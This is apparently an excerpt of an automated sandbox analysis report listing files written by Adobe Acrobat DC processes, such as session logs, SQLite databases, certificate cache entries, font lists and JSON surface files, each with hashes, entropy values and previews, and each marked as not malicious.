Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.217116219159407
Encrypted:	false
SSDEEP:	6:iOSc2SQL+q2PcNwi2nKuAl9OmbzNMxIFUtoc8QG1ZmwWcjQLVkwOcNwi2nKuAl9c:7SWvLZHAa8jFUtofT1/Wn54ZHAa84J
MD5:	373D5AEABB4EAC0B72A6D91B59048740
SHA1:	899C216B1E18BEAE5E08CBD6F0351B9136A40E51
SHA-256:	ECB1FA08446E636C49C8A9E1A088921554EF613DE9A804EDC8FA5EC49E610E37
SHA-512:	A529869BC271EEE6F131FC5B5DA4820F3EE3CF03D0A3E98F6794CC535BBBC85D0169F2D1F92524D9A24B1DC511F3276778DF5118215271772D9E39E141A64A47
Malicious:	false
Preview:	2025/01/11-02:09:02.449 1d78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:09:02.465 1d78 Recovering log #3.2025/01/11-02:09:02.472 1d78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.217116219159407
Encrypted:	false
SSDEEP:	6:iOSc2SQL+q2PcNwi2nKuAl9OmbzNMxIFUtoc8QG1ZmwWcjQLVkwOcNwi2nKuAl9c:7SWvLZHAa8jFUtofT1/Wn54ZHAa84J
MD5:	373D5AEABB4EAC0B72A6D91B59048740
SHA1:	899C216B1E18BEAE5E08CBD6F0351B9136A40E51
SHA-256:	ECB1FA08446E636C49C8A9E1A088921554EF613DE9A804EDC8FA5EC49E610E37
SHA-512:	A529869BC271EEE6F131FC5B5DA4820F3EE3CF03D0A3E98F6794CC535BBBC85D0169F2D1F92524D9A24B1DC511F3276778DF5118215271772D9E39E141A64A47
Malicious:	false
Preview:	2025/01/11-02:09:02.449 1d78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:09:02.465 1d78 Recovering log #3.2025/01/11-02:09:02.472 1d78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438574489082639
Encrypted:	false
SSDEEP:	384:CeJci5GCiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:+yurVgazUpUTTGt
MD5:	6E4740A8E873B71A7A2826D5AF8221BE
SHA1:	7847898FE432D532C1345698C77FF78CD2CE47F1
SHA-256:	A2CE33A5CCCAAC45B7476536AB03F75A7DAB8B5FD6D72E143A014B29E6C23DE0
SHA-512:	7A0D8BB6372E17FEA8A04A4EFE1843B2FC2FA171AC276DC3F793913065FC08964BDE5FE15A947CAF04E8ADF1C65227679640E455441B594183B04926DCC9630D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2162345167765154
Encrypted:	false
SSDEEP:	24:7+tO9j6wKNqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MG:7MOtWNq/mFTIF3XmHjBoGGR+jMz+Lhr
MD5:	59B7C7B68351F5BAC8F9330FB6E17F45
SHA1:	24AD125EC8389045597E77AC1EC1D5570B5B1175
SHA-256:	E480B84B370A075C7A2C4DEC8390E8C58DB0BC7F724356F343F4E176365707E1
SHA-512:	F254E43A7FDB9AD994D69F8493B7EE8ECEA04682557B6F306819CD222306C2D55CE95E05A8B6BF09BF93BBA9661C31844D15BFDA6A586445CDD090E5B8576CD8
Malicious:	false
Preview:	.... .c......wJ.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklPDQltfllXlE/HT8kqjzltNNX8RolJuRdxLlGB9lQRYwpDdt:kKpeT85NMa8RdWBwRd
MD5:	1CF81254FB3812FC531EB5336A44ABAC
SHA1:	3186A8688250B866CD793FDDE41159144979F54F
SHA-256:	F180B79B1D33EFFF41C202AED33092FC1BFF2327B1849326AF63254879AB2A14
SHA-512:	5B9516BE4FB042A2457593EDE7472532EA35AB40B63C43BB08ABE133DB8F6D7FBB29348104FB8368B4C950EAA412A4305CA1E0A9E13B733BB94905C242B3E78D
Malicious:	false
Preview:	p...... ........<....c..(....................................................... ..........W.....N..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.225002211752905
Encrypted:	false
SSDEEP:	6:kK3sL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:/siDImsLNkPlE99SNxAhUe/3
MD5:	585B140816246C7EA11F0717562BC060
SHA1:	EA368D8FE50503020AB50338DCD42F45CF12A05E
SHA-256:	66042546E8301015BFCF816D77CC8D6082C38D8857E536E35E17655D14A7E203
SHA-512:	2B37A44C0BB8E56D3ED666A05D7AC6742C4017022C5383FBBC45FFB48FE07FAC2944BE27F32AFD7EC3B2596139E8D154B5CE4ECDC97F075830F9CFB0F7BEC51D
Malicious:	false
Preview:	p...... .........e7..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3901082068706145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJM3g98kUwPeUkwRe9:YvXKXpbDjcksdTeOyGMbLUkee9
MD5:	B96DACC1C642A8F89AF80BE0B83AA52B
SHA1:	A2818FBCEC3E0FF1FA4EEFD8E2B7DBE6D2094BA5
SHA-256:	2916DA6064791881D8114D0621AC539BD64C32E504D82C10D827E628A3563B37
SHA-512:	D6348230A7972A54E96EB160222FFF87E340224230213EC94B7B2965764DF8EAD0DA40EAEFFD6C222482619DC2A2D4B7CFA753E275E5A62192038774AAFB9B0E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.32546961298901
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJfBoTfXpnrPeUkwRe9:YvXKXpbDjcksdTeOyGWTfXcUkee9
MD5:	0625911C879FE36206ACBC09B31ECE96
SHA1:	15A2F9CBE3B8B755E96B351C622DD00F09F58E21
SHA-256:	D05661D5D1E3D999CD1BDFAFF6AEC29BA622E6815F6C33E35C867586B431867E
SHA-512:	0302480F1323483DF17BF76666186C23DBF42DA77B50D125B441337CD42D694C85845AFA11FBD3172F680EB40C213F33154CA78B41AC108BD3FD952E0DCE6D53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304464648384086
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJfBD2G6UpnrPeUkwRe9:YvXKXpbDjcksdTeOyGR22cUkee9
MD5:	692F999ECA69AA375563FDAC9699384C
SHA1:	A88EB594AA2D13C30545092B41A92F6843DF1776
SHA-256:	BF1362F79B87A3F6559A7B4DF19421C1EEF4A55029716B253632C1C221BA1DBB
SHA-512:	14A2BCA7CB0C6AFD691DD7A015C277473BA4AC2770681F824959163B5A3F858379ECDEF71826A389F36B4CA634D23F2B4B652BAD4FBD7428563F94B1FE2020D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.37792492478169
Encrypted:	false
SSDEEP:	6:YEQXJ2HXpbDjBeTdnWsGiIPEeOF0YrhoAvJfPmwrPeUkwRe9:YvXKXpbDjcksdTeOyGH56Ukee9
MD5:	79E1E552202550702292A06AC2730A74
SHA1:	968E7393822C8F448ABF2CF2A76D4E051369689F
SHA-256:	A04EEFCB5164C6B5304820B6BE2983A8103E3E2BA332A3E9E2EA15C64D9A5A3A
SHA-512:	F76815AF46311885DCC1AB740D3278FEAD40275E4F1367E4B8C19E2DC6571F48E6E18F685E7371451849FB29435532F2A72651062599B1C37E3C05A5CFB36CCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cb8589d2-62fe-4d95-9ff2-d24855014ed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736759277217,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692004290321669
Encrypted:	false
SSDEEP:	24:Yv6XpbDj1meOPpLgE9cQx8LennAvzBvkn0RCmK8czOCCSs:Yv8DjAe4hgy6SAFv5Ah8cv/s
MD5:	1000A179808DE3671C8333756E72CB62
SHA1:	E787DFB9A1E8058713F5A062B09B2BC49FFC8A19
SHA-256:	FCCC5C0CE9CEB97044E5E151422023CC25385496593C3FF0F9136E3730DDB4A7
SHA-512:	5464DDDA1CEBF825B0E03F0BA38FF4ED5A91EC17B1D9B0931459A7B40F94D208D78C724876F69332E0B0CBB1D737B36B65C7300CBCA7F701CA1107D3E7B48C37
Malicious:	false
